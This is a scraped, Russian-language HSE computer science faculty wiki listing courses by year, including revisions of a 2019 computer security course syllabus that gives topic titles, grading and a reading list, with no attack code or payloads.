[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(пилотный_поток,_1_модуль) | Основы и методология программирования на ПМИ 2017/2018 (пилотный поток, 1 модуль)]]

[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(основной_поток,_2_модуль) | Основы и методология программирования на ПМИ 2017/2018 (основной поток, 2 модуль)]]

[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(основной_поток,_3_модуль) | Основы и методология программирования на ПМИ 2017/2018 (основной поток, 3 модуль)]]

[[Алгоритмы_и_структуры_данных_на_ПМИ_2017/2018_(основной_поток) | Алгоритмы и структуры данных на ПМИ 2017/2018 (основной поток)]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2017/2018_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2017/2018_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]

[[Дискретная_математика_1_2017/2018 | Дискретная математика-1 на ПМИ]]

[[Алгоритмы и структуры данных 1 | Алгоритмы и структуры данных – 1 (пилотный поток)]]

[[Алгебра_на_ПМИ_2017/2018 | Алгебра на ПМИ]]

[http://hsealgebra18.wikidot.com Алгебра на ПИ]

||
[[Теория_вероятностей_2017/2018_(основной_поток) | Теория вероятностей на ПМИ (основной поток)]]

[[Теория_вероятностей_2017/2018_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]

[[Математический анализ-3 на ПМИ_2017/2018_(основной_поток) | Математический анализ-2 на ПМИ (основной поток)]]

[[Математический анализ на ПМИ_2017/2018 | Математический анализ-3 на ПМИ (пилотный поток)]]

[[DM2-pilot2017/2018 | Дискретная математика-2 на ПМИ (пилотный поток)]]

[[DM_2_2017_2018 | Дискретная математика-2 на ПМИ (основной поток)]]

[[Алгоритмы и структуры данных_2_2017/2018 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]

[[Дифференциальные уравнения (2 курс, 2017/2018)| Дифференциальные уравнения]]

||
[[Машинное_обучение_1/2017_2018 | Машинное обучение 1 на ПМИ]]

[[Машинное_обучение_2/2017_2018 | Машинное обучение 2 на ПМИ]]

[[Численные_методы_2017 | Численные методы]]

[[Statistics of Stochastic Processes|Статистика случайных процессов 2018]]

[[Прикладная_статистика_в_машинном_обучении | Прикладная статистика в машинном обучении]]

[[Theory_of_Computing | Theory of Computing, AMI]]

[[Statistical_learning_theory | Introduction to statistical learning theory]]

[[Основные_методы_анализа_данных_(специализация_АДИС) | Основные методы анализа данных на ПМИ]]

[[Анализ неструктурированных данных]]

[[Безопасность компьютерных систем 2017 | Безопасность компьютерных систем]]

[[НИС_Распределенные_системы_(3_курс,_2017) | НИС Распределенные системы]]

[[НИС_Машинное_обучение_и_приложения_2017/2018 | НИС Машинное обучение и приложения]]

[[Непрерывная_оптимизация | Непрерывная оптимизация]]

[[ Сложность_и_логика| Сложность вычислений и логика в теоретической информатике]]

[[Data_analysis_(Software_Engineering)_2018 | Data Analysis на ПИ]]

[http://telegra.ph/Kurs-Vvedenie-v-OOP-VSHEH-2018-Modul-3-01-30 Введение в ООП]

[http://wiki.cs.hse.ru/Машинное_обучение_на_больших_данных Машинное обучение на больших данных]

[[Дискретная_оптимизация | Дискретная оптимизация]]

||

[[Безопасность компьютерных систем 2017 | Безопасность компьютерных систем]]

[[Философия_науки_2017 | Философия науки]]

[[НИС_Распределенные_системы_(4_курс,_2017) | НИС Распределенные системы]]

[[НИС_Машинное_обучение_и_приложения_2017/2018 | НИС Машинное обучение и приложения]]

[[Анализ неструктурированных данных]]

[[Байесовские методы машинного обучения 2017 | Байесовские методы машинного обучения]]

[[Функциональное программирование 2018 | Функциональное программирование]]

[http://telegra.ph/Kurs-Vvedenie-v-OOP-VSHEH-2018-Modul-3-01-30 Введение в ООП]

||

[[Современные методы машинного обучения (курс майнора) 2017/2018]]

[[Введение в программирование (курс майнора) 2017/2018]]

[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2017-2018 | Введение в анализ данных (курс майнора)]]

[[Прикладные задачи анализа данных (майнор - весна 2018)]]

[[Маго-лего "Линейная алгебра в приложениях" весна 2018 | Линейная алгебра в приложениях (маго-лего)]]

[[Функциональный анализ 2017/18 | Функциональный анализ на ПМИ (факультатив)]]

[[Дополнительные главы теории вероятностей и математической статистики (факультативы) | Дополнительные главы теории вероятностей и математической статистики (факультативы)]]

[[Дополнительные главы дискретной математики 2017/18 | Дополнительные главы дискретной математики (факультатив)]]

[[Цифровые технологии в гуманитарных науках]]

|}

== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==

=== 2 семестр ===

[[Цифровая_грамотность_2018_(2_семестр)|Цифровая грамотность (факультет гуманитарных наук — 2 семестр: ИЯМК, Филология, История искусств, Культурология, 1 курс)]] 
[[Научно-исследовательский семинар (ФСН) |Научно-исследовательский семинар (ОП "Политология", 1 курс)]] 
[[Introduction_to_Data_Culture|Introduction to Data Culture (HSE and University of London Parallel Degree Programme in International Relations, 1 year)]] 
[[ИИ_и_БД|Искусственный интеллект и большие данные (ОП "Дизайн", "Мода", 1 курс)]] 
[[Компьютерная лингвистика и информационные технологии |Компьютерная лингвистика и информационные технологии (ОП "Фундаментальная и компьютерная лингвистика", 4 курс, 2 семестр)]] 
[[Основы анализа данных в международных отношениях|Основы анализа данных в международных отношениях (ОП "Международные отношения", 2 курс, 4 модуль)]] 
[[Введение в data science (2_семестр)|Профориентационный семинар (блок по введению в data scicence) (Факультет социальных наук — 2 семестр: Социология, 1 курс)]] 
[[Введение в Data Science| Введение в Data Science (ФБиМ, 4 модуль)]] 

=== 1 семестр ===

[[Цифровая_грамотность|Цифровая грамотность (факультет гуманитарных наук — 1 семестр: История, Философия, 1 курс)]] 
[[Машинное обучение (факультет экономических наук)|Машинное обучение (факультет экономических наук)]] 
[[Компьютерная лингвистика и информационные технологии |Компьютерная лингвистика и информационные технологии (ОП "Фундаментальная и компьютерная лингвистика", 4 курс, 1 семестр)]] 
[[Извлечение и анализ интернет-данных | Извлечение и анализ интернет-данных (факультет экономических наук)]] 
[[Анализ больших данных в социальных науках (ФСН, 2017) | Анализ больших данных в социальных науках (ФСН, 2017)]] 
[[Информационные_технологии_в_деятельности_юриста|Информационные технологии в деятельности юриста (Факультет права)]] 
[[Машинное_обучение_для_лингвистов|Машинное обучение (магистратура Школы лингвистики)]] 

== Курсы магистратуры Финансовые технологии и анализ данных ==

[[Вероятностные_модели_и_прикладная_статистика_в_финансовой_математике|Вероятностные модели и прикладная статистика в финансовой математике]]

[[Рекомендательные системы и поиск закономерностей в данных|Рекомендательные системы и поиск закономерностей в данных]]

== Courses of Data Science master program/Курсы магистерской программы "Науки о данных" ==

[[Introduction to Machine Learning and Data Mining|Introduction to Machine Learning and Data Mining]]

== Курсы за 2016/17 учебный год ==
{| class="wikitable"
|-
! 1 курс !! 2 курс !! 3-4 курс !! майноры
|-
|

[[Математический анализ на ПМИ_2016/2017 | Математический анализ на ПМИ (пилотный поток)]]

[[Линейная алгебра и геометрия_2016/2017 | Линейная алгебра и геометрия на ПМИ]]

[[Дискретная_математика_1_2016/2017 | Дискретная математика-1 на ПМИ]]

[[Основы и методология программирования_2016/2017_пилотный_поток | Основы и методология программирования на ПМИ (пилотный поток)]]

[[Основы и методология программирования_2016/2017 | Основы и методология программирования на ПМИ (основной поток)]]

[[Алгоритмы_и_структуры_данных_на_ПМИ_(пилотный_поток) | Алгоритмы и структуры данных на ПМИ (пилотный поток)]]

[[Алгоритмы_и_структуры_данных_на_ПМИ_(основной_поток) | Алгоритмы и структуры данных на ПМИ (основной поток)]]

[[Алгебра_на_ПМИ_2016/2017 | Алгебра на ПМИ]]

[http://hsealgebra17.wikidot.com/ Алгебра на ПИ]

||

[[Математический анализ_2016/2017 | Математический анализ-3 на ПМИ (основной поток)]]

[[Математически_анализ_3_на_ПМИ_(пилотный_поток) | Математический анализ-3 на ПМИ (пилотный поток)]]

[[DM_2_2016_2017 | Дискретная математика-2 на ПМИ (основной поток)]]

[[Дискретная математика_2_2016/2017 | Дискретная математика-2 на ПМИ (пилотный поток)]]

[[Алгоритмы и структуры данных_2_2016/2017 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]

[[Теория вероятностей_2016/2017 | Теория вероятностей на ПМИ (основной поток)]]

[[Теория_вероятностей_2016/2017_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]

[[Архитектура_компьютеров_и_операционные_системы_2016/2017 | Архитектура компьютеров и операционные системы]]

[[Факультатив_теория_вычислений_2016/2017 | Факультатив теория вычислений на ПМИ]]

[[Дополнительные_главы_теории_вероятностей_(факультатив,_2017) | Дополнительные главы теории вероятностей (факультатив)]]

[[Дифференциальные_уравнения_(2_курс,_2016/2017) | Дифференциальные уравнения]]

[[Математическая_статистика_2016/2017_(пилотный_поток) | Математическая статистика на ПМИ (пилотный поток)]]

[[Архитектура_компьютеров_и_операционные_системы_2016/2017 | Архитектура компьютеров и операционные системы ]]

||

[[НИС_Машинное_обучение_и_приложения_2016/2017 | НИС Машинное обучение и приложения на ПМИ]]

[[Машинное_обучение_1/2016_2017 | Машинное обучение 1 на ПМИ]]

[[Машинное_обучение_2/2016_2017 | Машинное обучение 2 на ПМИ]]

[[Прикладной_статистический_анализ_данных | Прикладной статистический анализ данных на ПМИ]]

[[Численные_методы_в_анализе_данных | Численные методы в анализе данных на ПМИ]]

[http://www.machinelearning.ru/wiki/index.php?title=Статистика_случайных_процессов_(курс_лекций,_ФКН_ВШЭ) Вероятностные модели и статистика случайных процессов на ПМИ]

[http://www.machinelearning.ru/wiki/index.php?title=Opt Методы оптимизации на ПМИ (специализации МОП и РС)]

[[Методы_оптимизации_(весна_2017)|Методы оптимизации 2 (дискретная оптимизация)]]

[[НИС_Распределенные_системы_(осень_2016) | НИС Распределенные системы]]

[[Анализ и верификация алгоритмов биржевой торговли | Анализ и верификация алгоритмов для систем биржевой торговли ]]

[[Программирование_на_графических_процессорах | Программирование на графических процессорах]]

[[ЯРПО | Языки разработки ПО (курс по выбору) на ПМИ]]

[[Data analysis (Software Engineering) 2017 | Data analysis на ПИ]]

[[Базы данных 2 | Базы данных 2 ]]

[[Компьютерные сети 2 | Компьютерные сети 2]]

[[Машинное_обучение_на_больших_данных | Машинное обучение на больших данных на ПМИ]]

||

[[Современные_методы_машинного_обучения_(курс_майнора) | Современные методы машинного обучения (курс майнора)]]

[[Майнор_Интеллектуальный_анализ_данных/Введение_в_программирование_2016/2017 | Введение в программирование (курс майнора)]]

[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2016-2017 | Введение в анализ данных (курс майнора)]]

[[Майнор Интеллектуальный анализ данных/Прикладные задачи анализа данных| Прикладные задачи анализа данных (курс майнора)]]

|}

{|width=100%
|style="vertical-align:top;"|



=== Курсы за 2015/16 учебный год ===
{|
|-
| [[Технологии программирования|Технологии программирования на ПМИ]]
|-
|[[ОиМП-2015|Основы и методология программирования на ПМИ]]
|-
|[[Алгоритмы и структуры данных 2016]]
|-
|[[Линейная алгебра и геометрия_2015/2016 | Линейная алгебра и геометрия на ПМИ]]
|-
|[[Алгебра_2015/2016 | Алгебра на ПМИ]]
|-
|[http://hsealgebra.wikidot.com/ Алгебра на ПИ]
|-
|[[Компьютерные системы]]
|-
|[[Математический анализ на ПМИ_2015/2016 | Математический анализ на ПМИ]]
|-
|[[Факультатив_Матпрактикум | Матпрактикум (факультатив) на ПМИ]]
|-
|[[Data analysis (Software Engineering)]] 
|-
|[[Майнор Интеллектуальный анализ данных/Введение в программирование|Введение в программирование (курс майнора) на ПМИ]]
|-
|[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2015-2016|Введение в анализ данных (курс майнора) на ПМИ]]
|-
|[[НИС Машинное обучение и приложения|НИС Машинное обучение и приложения на ПМИ]]
|-
|[[Архитектура компьютеров и системное программирование (ПМИ_4, 2015/2016)|Архитектура компьютеров и системное программирование (4 курс)]]
|-
|[[Дифференциальные уравнения (2 курс, 2015/2016)| Дифференциальные уравнения]]
|-
|[[Введение в VBA|Введение в VBA]]
|}

|style="vertical-align:top;"|



=== Курсы за 2014/15 учебный год ===
{|
|-
|[[Основы и методологии программирования]] 
|-
|[[Алгоритмы и структуры данных 2015 | Алгоритмы и структуры данных]] 
|-
|[[Анализ данных (Программная инженерия)]] 
|-
|[[Алгебра_2014/2015 | Алгебра]] 
|-
|[[Magolego_sna_2015| MAGoLEGO Social Network Analysis]]
|}

==== Проектная работа ====
{|
|-
|[[Проектная работа]] 
|-
|[[Учебная практика 1 курс (2016)]]
|-
|[[Проектная работа 2 курс (2016)]]
|}


|}

== Мероприятия факультета компьютерных наук ==
=== Summer School 2015 ===
[[Introduction to Natural Language Processing|Introduction to Natural Language Processing]]
#[[Lecture 1. Introduction|Introduction]]
#[[Lecture 2. Tokenization and word counts|Tokenization and word counts]]
#[[Lecture 3. POS tagging. Key word and phrase extraction|POS tagging. Key word and phrase extraction]]
#[[Lecture 4. Parsing|Parsing]]
#[[Lecture 5. Language sources|Language sources]]
#[[Lecture 6. Synonyms and near-synonyms detection|Synonyms and near-synonyms detection]]
#[[Lecture 8. Suffix trees for NLP|Suffix trees for NLP]]
#[[NLP References|References]]

== Архив ==
* [[Учебная практика 1 курс (2015)]]

Безопасность компьютерных систем 2019

2019-09-16T08:34:44Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (14.09) Безопасность приложений. Мобильные приложения и их уязвимости.
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Механизмы безопасности приложений в операционных системах.
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (30.10) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. SQLi.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/XXE|Веб-уязвимости. XXE, прочее интересное.]]
# (14.10) Семинар переносится на 30.10
# (30.10) [[Безопасность_компьютерных_систем_2019/FU|Уязвимости загрузки файлов.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Бинарные программы. Обратная разработка программ.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-09-12T13:46:49Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.
# (14.09) Безопасность приложений. Мобильные приложения и их уязвимости.
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Механизмы безопасности приложений в операционных системах.
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (30.10) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. SQLi.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/XXE|Веб-уязвимости. XXE, прочее интересное.]]
# (14.10) Семинар переносится на 30.10
# (30.10) [[Безопасность_компьютерных_систем_2019/FU|Уязвимости загрузки файлов.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Бинарные программы. Обратная разработка программ.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

О факультете

2019-09-12T13:30:58Z

Gamajun: Добавил курс БКС для 3 и 4 курса

__NOTOC__

= Учебные курсы факультета компьютерных наук =

== Курсы за 2019/20 учебный год ==
{| class="wikitable"
|-
! 1 курс !! 2 курс !! 3 курс !! 4 курс !! майноры и факультативы
|-
|

[[Математический_анализ_1_2019/2020 | Математический анализ-1 на ПМИ (пилотный поток)]]

[[Математический_анализ_на_ПМИ_2019/2020_(основной_поток) | Математический анализ на ПМИ (основной поток)]]

[[Дискретная_математика_1_2019/2020 | Дискретная математика-1 на ПМИ]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2019/2020_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2019/2020_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]

[[Основы_и_методология_программирования_1_2019/2020 | Основы и методология программирования-1 на ПМИ (основной поток)]]

[[Основы_и_методология_программирования_1_2019/2020_(пилотный_поток) | Основы и методология программирования-1 на ПМИ (пилотный поток)]]

[[Discrete_Mathematics_DSBA2019/2020 | Discrete Mathematics DSBA (ПАД)]]

[[Calculus_DSBA2019/2020 | Calculus DSBA (ПАД)]]

[[LAaG_DSBA_2019/2020 | Linear Algebra and Geometry (ПАД)]]

[[Introduction_to_programming_DSBA_2019/2020 | Introduction to Programming (ПАД)]]
||

[[DM2-basic2019/2020 | Дискретная математика-2 на ПМИ (основной поток)]]

[[DM2-pilot2019/2020 | Дискретная математика-2 на ПМИ (пилотный поток)]]

[[Теория_вероятностей_2019/2020_(основной_поток)| Теория_вероятностей_2019/2020 на ПМИ (основной поток)]]

[[Теория_вероятностей_и_математическая_статистика_2019/2020_(пилотный_поток)| ТВиМС (пилотный поток)]]

[[Математический_анализ_2019/2020_(пилотный_поток) | Математический анализ 2 на ПМИ (пилотный поток)]]

[[Математический_анализ_2_2019/2020_(основной_поток) | Математический анализ 2 на ПМИ (основной поток)]]

[[Алгоритмы_и_структуры_данных_2_2019/2020 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]

||

[[Машинное_обучение_1 | Машинное обучение 1 на ПМИ]]

[[Прикладная_статистика_в_машинном_обучении(2019)|Прикладная статистика в машинном обучении]]

[[НИС_РС_1|НИС Распределенные системы]]

[[Theory_of_Computing_2019_2020 | Theory of Computing, AMI]]

[[Компьютерные_Сети | Компьютерные сети]]

[[НИС_Машинное_обучение_и_приложения_2019/2020|НИС Машинное обучение и приложения]]

[[Безопасность_компьютерных_систем_2019|Безопасность компьютерных систем]]

||

[[InfTheo2019-2020|Теория информации]]

[[НИС_РС_2|НИС Распределенные системы 2]]

[[НИС_Машинное_обучение_и_приложения_2019/2020|НИС Машинное обучение и приложения]]

[[Байесовские_методы_машинного_обучения_2019|Байесовские методы машинного обучения]]

[[НИС Науки о данных]]

[[Философия_науки_2019|Философия науки]]

[[Безопасность_компьютерных_систем_2018|Безопасность компьютерных систем]]

||
[[MinorBioinformatics|Биоинформатика]]

[[Майнор Интеллектуальный анализ данных/Современные_методы_машинного_обучения | Современные методы машинного обучения (ИАД)]]

[[KotlinElective|Факультатив "Язык Kotlin" (2-3 модули)]]

[[ISDElective|Факультатив "Методы разработки программного обеспечения" (1-2 модули)]]

||

|}

== Курсы магистратуры ФКН ==

{| class="wikitable"
|-
! Дисциплина !! Образовательная программа !! Курс

|-
| [[Theory_of_Computing_2019_2020 | Theory of Computing]] || Науки о данных, специализация ТИ || 1 курс
|-
| [[Project_Seminar_2019_2020 | Проектный семинар специализации ТИ]] || Науки о данных, специализация ТИ || 1 курс

|}

== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==
=== 1 семестр ===
{| class="wikitable"
|-
! Дисциплина !! Образовательная программа !! Курс !! Модули

|-
| [[ Основы анализа и визуализация данных для медиа 2019/2020 | Основы анализа и визуализации данных для медиа ]] || Журналистика || 4 курс || 1 модуль
|-
| [[ Анализ данных в Python 2019-2020 | Анализ данных в Python ]] || Политология || 4 курс || 1-2 модули
|-
| [[ Основы анализа данных в международных отношениях | Основы анализа данных в международных отношениях ]] || Международные отношения || 2 курс || 1-2 модуль
|-
| [[Основы программирования в Python (Политология)|Основы программирования в Python]] || Политология || 3 курс || 1-2 модули
|-
| [[Основы программирования на Python осень 2019 матфак|Основы программирования на Python-1]] || Математика || 1-4 курс || 1-2 модули
|-
| [[ Цифровая грамотность (История 2019) | Цифровая грамотность ]] || История || 1 курс || 1-2 модули
|-
| [[ Цифровая грамотность (Востоковедение 2019) | Цифровая грамотность ]] || Востоковедение|| 1 курс || 1-2 модули
|-
| [[ Цифровая_грамотность_2019-2020(философия) | Цифровая грамотность ]] || Философия || 1 курс || 1-2 модули
|-
| [[ПМСАР-2_2019| Методы анализа больших данных в исследованиях поведения покупателей]] || Прикладные методы социального анализа рынков || 2 г.о. || 1-2 модули
|-
| [[Работа с данными]] || Медиакоммуникации || 4 курс || 1 модуль
|-
| [[Машинное обучение (фэн 2019)]] || ФЭН || 3 курс || 1-2 модули
|-
| [[Natural_Language_Processing_Blended_2019_module1 | Natural Language Processing (blended)]] || Прикладная политология || 2 г.о. || 1 модуль
|-
| [[ ML_HSE_NES_2019 | Машинное обучение (ВШЭ-РЭШ)]] || Совместный бакалавриат ВШЭ-РЭШ || 3-4 курс || 1-2 модули
|}

=Архив=
== Курсы за 2018/19 учебный год ==
{| class="wikitable"
|-
! 1 курс !! 2 курс !! 3 курс !! 4 курс !! майноры и факультативы
|-
|

[[Математический_анализ_на_ПМИ_2018/2019_(пилотный_поток) | Математический анализ на ПМИ (пилотный поток)]]

[[Математический_анализ_на_ПМИ_2018/2019_(основной_поток) | Математический анализ на ПМИ (основной поток)]]

[[Calculus_DSBA_2018/2019 | Calculus I DSBA (ПАД)]]

[[Основы_и_методология_программирования_на_ПМИ_2018/2019_(пилотный_поток) | Основы и методология программирования на ПМИ (пилотный поток)]]

[[Основы_и_методология_программирования_на_ПМИ_2019_(С%2B%2B,_основной_поток) | Основы и методология программирования на ПМИ (С++, основной поток)]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2018/2019_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2018/2019_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]

[[LAaG_DSBA_2018/2019 | LAaG DSBA]]

[[Дискретная_математика_1_2018/2019 | Дискретная математика-1 на ПМИ]]

[[Discrete_Mathematics_DSBA2018/2019 |Discrete Mathematics DSBA (ПАД)]]

[[Introduction_to_programming | Introduction to programming DSBA (ПАД)]]

[[Introduction_to_programming_2 | Introduction to programming 2 DSBA (ПАД)]]

[[Алгебра_на_ПМИ_2018/2019_(пилотный_поток) | Алгебра на ПМИ (пилотный поток)]]

[[Алгебра_на_ПМИ_2018/2019_(основной_поток) | Алгебра на ПМИ (основной поток)]]

[[Algebra_DSBA_2018/2019 | Algebra DSBA]]

[http://hsealgebra19.wikidot.com Алгебра на ПИ]

[[Алгоритмы_и_структуры_данных_2018/2019 | Алгоритмы и структуры данных на ПМИ (основной поток)]]

[[Алгоритмы_и_структуры_данных_2018/2019 (пилотный поток) | Алгоритмы и структуры данных на ПМИ (пилотный поток)]]

||

[http://math-info.hse.ru/s18/t Дифференциальные уравнения]

[[Теория_вероятностей_2018/2019_(основной_поток) | Теория вероятностей на ПМИ (основной поток)]]

[[Теория_вероятностей_2018/2019_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]

[[Математический_анализ_2018/2019_(пилотный_поток) | Математический анализ 2 на ПМИ (пилотный поток)]]

[[Математический_анализ_2018/2019_(основной_поток) | Математический анализ 2 на ПМИ (основной поток)]]

